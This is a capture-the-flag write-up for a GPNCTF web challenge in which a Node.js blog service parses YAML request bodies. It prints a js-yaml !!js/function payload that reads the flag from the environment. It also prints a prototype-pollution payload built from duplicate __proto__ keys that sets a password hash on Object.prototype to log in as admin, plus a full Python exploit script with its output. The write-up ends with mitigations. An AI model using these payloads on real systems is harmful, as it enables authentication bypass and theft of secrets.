YAML is the best javascript object notation. So I made a blog hoster with YAML + JS!

The haters keep saying that YAML is “so unsafe” and “a bad language” so I added a CSP to my Node.js app to make it super secure!

Category: web

Solver: nh1729

Flag: GPNCTF{7uRn5_Ou7_NODE_h4s_4_c5P_r1poff}

Challenge Overview

The challenge is identical to yavascript-blog, except for one line:

$ diff -r yavascript-blog yavascript-blog-csp
diff '--color=auto' -r yavascript-blog/Dockerfile yavascript-blog-csp/Dockerfile
11c11
< CMD ["node", "."]
---
> CMD ["node", "--disallow-code-generation-from-strings", "."]

Overview yavascript-blog

This section is identical to the overview in our writeup of yavascript-blog

The challenge is a small nodejs project hosting an express web server. It exposes routes to register users, edit blogs and blog posts associated with them and to read blog posts by name, all stored in-memory.

Each user can have multiple named blogs and each blog has a list of posts, each with a content. The posts can be accessed by the blog name and post index.

User authentication is password-based for each request and each user can edit and list only their own blogs, while unauthenticated users can access them if they know the blog name.

Initially, there is only one user registered: admin, who does not have a password set and thus cannot be authenticated as. They have one blog whose name is the flag.

The interesting part of the challenge is request parsing: Instead of a usual JSON payload, routes parse request bodies as yaml using yaml.load from the js-yaml library.

The most complex route is the one to edit one’s own blogs:

app.post('/edit-blogs', (req, res) => {
    console.log(req.body);
    if (typeof req.body?.username !== "string" || typeof req.body?.password !== "string" || typeof req.body?.blogs !== "object") {
        return res.status(400).send("Invalid input");
    }
    let user = users[req.body.username];
    console.log({user, pw: user.password, sha: sha256(req.body.password)})
    if (!user || user.password !== sha256(req.body.password)) return res.status(403).send("Invalid credentials");
    for (let blogName in req.body.blogs) {
        let taken = false;
        for (let username in users) {
            if (Object.keys(users[username]?.blogs?.[blogName] || {}).length > 0 && username !== req.body.username) {
                taken = true;
            }
        }
        if (taken) continue // user cannot write to this blog
        let blog = user.blogs[blogName] ??= {}
        let newPosts = req.body.blogs[blogName].posts || [];

        for (let post of newPosts) {
            if (post.slug !== undefined && !post.slug.match(/\d\d-\d\d-\d\d-.*/)) {
                return res.status(400).send("Invalid post slug");
            }
        }

        // set to both ID and slug for posts without slugs
        for (let postId in newPosts) {
            if (postId === "__proto__") return res.status(400).send("Invalid post slug");
            let post = newPosts[postId];
            if (typeof post.content !== "string") return res.status(400).send("Invalid post content");
            blog[postId] = blog[post.slug] = post.content
        }
    }
    res.json(user);
})

Writeup

To recap the simpler version of this challenge, we used a special !!js/function tag in yaml to build a payload that reads the flag from the environment.

username: test
password: test
blogs:
    x:
        posts:
          - content: y
            slug: { toString: !!js/function '() => process.env.FLAG', match: !!js/function '() => true' }

Let’s look at the changed parameter in the docs:

--disallow-code-generation-from-strings

Added in: v9.8.0

Make built-in language features like eval and new Function that generate code from strings throw an exception instead. This does not affect the Node.js node:vm module.

Indeed, the old payload produces an error:

EvalError: Code generation from strings disallowed for this context

With this exploit path blocked, we looked for other options.

Going back to the /edit-posts endpoint and its handler, the remaining options point towards a prototype pollution.

Further, since the admin user who has the the flag does not have a password hash set, polluting the password property of the Object prototype with a known hash enables us to authenticate as them and obtain the flag.

There is only one place in the code where a chosen property is being set to a mostly user-provided value, right at the end of edit-posts:

blog[postId] = blog[post.slug] = post.content

Ideally, we want blog be Object.prototype, postId or post.slug be password and post.content be a hash string.

We created a simplified diagram of property lookups and assignments:

graph TD users[["`users`"]] user["`user`"] blog["`blog`"] users --> xuser[/"`[username]`"\] --> user user --> xblogs[/".blogs"\] --> xblog[/"`[blogName]`"\] --> blog xblog1[/"[slug]"\] content["content"] ==> xblog1 content["content"] ==> xblog2 xblog2[/"[postId]"\] userinput[[Request]] userinput ----> content userinput -.-> xblog2 ==> blog userinput -.-> xblog1 ==> blog userinput -.-> xuser

To have blog == Object.prototype, we could try to set blogName to __proto__ and use normal objects for everything else.

To get started, we added generous debug logging to the challenge code, set up a local container and registered a user with credentials test:test.

For blogName to be __proto__ we need to have an enumerable property on the blogs object named __proto__. However, simply setting a property named such does not work because there is a setter for that name (MDN docs):

The __proto__ accessor property of Object instances exposes the [[Prototype]] (either an object or null) of this object.

Setting the prototype on blogs might sound useful, but it does not really help in the scope of this challenge. Instead, we want to change properties of the existing Object prototype.

So to set a normal property named __proto__, we cannot operate on an instance of Object. After much trial and error, we found we can make the blogs object act differently from such an instance by setting __proto__ twice: once to null to remove the Object constructor and thus __proto__ special accessor from the prototype chain, and once to set a “normal” __proto__ property:

username: test
password: test
blogs:
    __proto__: null
    __proto__:
        posts:
            - content: 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
            

Then, we focused on slug /postId. While on slug there is filter enforcing they begin with a date format, postId is a index into the post array. To make it a string instead, we changed the posts property from an array to a normal object:

username: test
password: test
blogs:
    __proto__: null
    __proto__:
        posts:
            password:
                content: 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08

The result:

TypeError: newPosts is not iterable
    at /app/index.js:72:26
...

Apparently, these normal objects are not iterable with let ... of. Luckily, as seen earlier, we can change the prototype of our request objects. Using an array as prototype makes posts behave like an array, except it still has strings as keys.

username: test
password: test
blogs:
    myblogid:
        posts:
            password:
                content: "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08"
            __proto__: []

With that that payload, we had

({}).password == "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08"

Exploit script

import requests

# BASE = 'http://localhost:1337'
BASE = 'https://lakeview-of-outrageous-sunlight.gpn23.ctf.kitctf.de'

with requests.Session() as s:
    data = '''
username: test
password: test
    '''
    with s.post(f'{BASE}/register', data=data, headers={"content-type": "application/x-yaml"}) as r:
        print(r.content)

    data = '''
username: test
password: test
blogs:
    __proto__: null
    __proto__:
        posts:
            password:
                content: 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
            __proto__: []
    '''
    with s.post(f'{BASE}/edit-blogs', data=data, headers={"content-type": "application/x-yaml"}) as r:
        print(r.content)
    data = '''
username: admin
password: test
blogs: {}
    '''
    with s.post(f'{BASE}/edit-blogs', data=data, headers={"content-type": "application/x-yaml"}) as r:
        print(r.content)

Output:

b'OK'
b'{"password":"9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08","blogs":{}}'
b'{"blogs":{"GPNCTF{7uRn5_Ou7_NODE_h4s_4_c5P_r1poff}":{"posts":{"my-beautiful-flag":"Look at my flag! Isn\'t it beautiful?"}}}}'

Mitigations

  • Keep your dependencies up-to-date.
    In version 4.0.0, js-yaml fixed the __proto__ setter:

    __proto__ key no longer overrides object prototype, #164.

  • Adhere to best practices with regard to prototype pollution, e.g. from the OWASP cheat sheet. An application of Map and null prototype could look like this:

    // In user registration
    users.set(
        req.body.username,
        {
            password: sha256(req.body.password).
            blogs: new Map(),
            __proto__: null
        }
    )
    ...
    
    // In edit-blogs
    let blog = user.blogs.get(blogName) ??= new Map()
    ...
    // Where there was prototype pollution before
    blog.set(postId, post.content)
    blog.set(post.slug, post.content)
    
  • Use safe* functions to load untrusted user input. That wouldn’t have fixed this challenge but is a general good practice.